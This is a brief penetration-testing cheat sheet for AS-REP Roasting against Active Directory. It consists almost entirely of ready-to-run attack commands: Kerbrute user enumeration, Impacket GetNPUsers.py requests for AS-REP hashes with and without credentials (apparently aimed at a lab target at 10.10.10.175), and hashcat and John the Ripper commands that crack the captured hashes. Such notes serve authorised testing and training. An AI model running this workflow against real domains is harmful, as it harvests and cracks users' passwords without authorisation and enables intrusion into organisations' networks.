AS-REP Roasting

# Retrieving the AS-REP Using Kerbrute
kerbrute userenum -d domain.local --dc ip /opt/jsmith.txt

# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format < [hashcat | john]> -outputfile <output_AS_REP_responses_file>

# check ASREPRoast for a list of users (no credentials required)
GetNPUsers.py domain.local/fsmith -dc-ip 10.10.10.175 -format hashcat -no-pass

# Cracking hashes  
hashcat -m 18200 -a 0 <AS_REP_responses_file> <passwords_file>

john --wordlist=<passwords_file> <AS_REP_responses_file>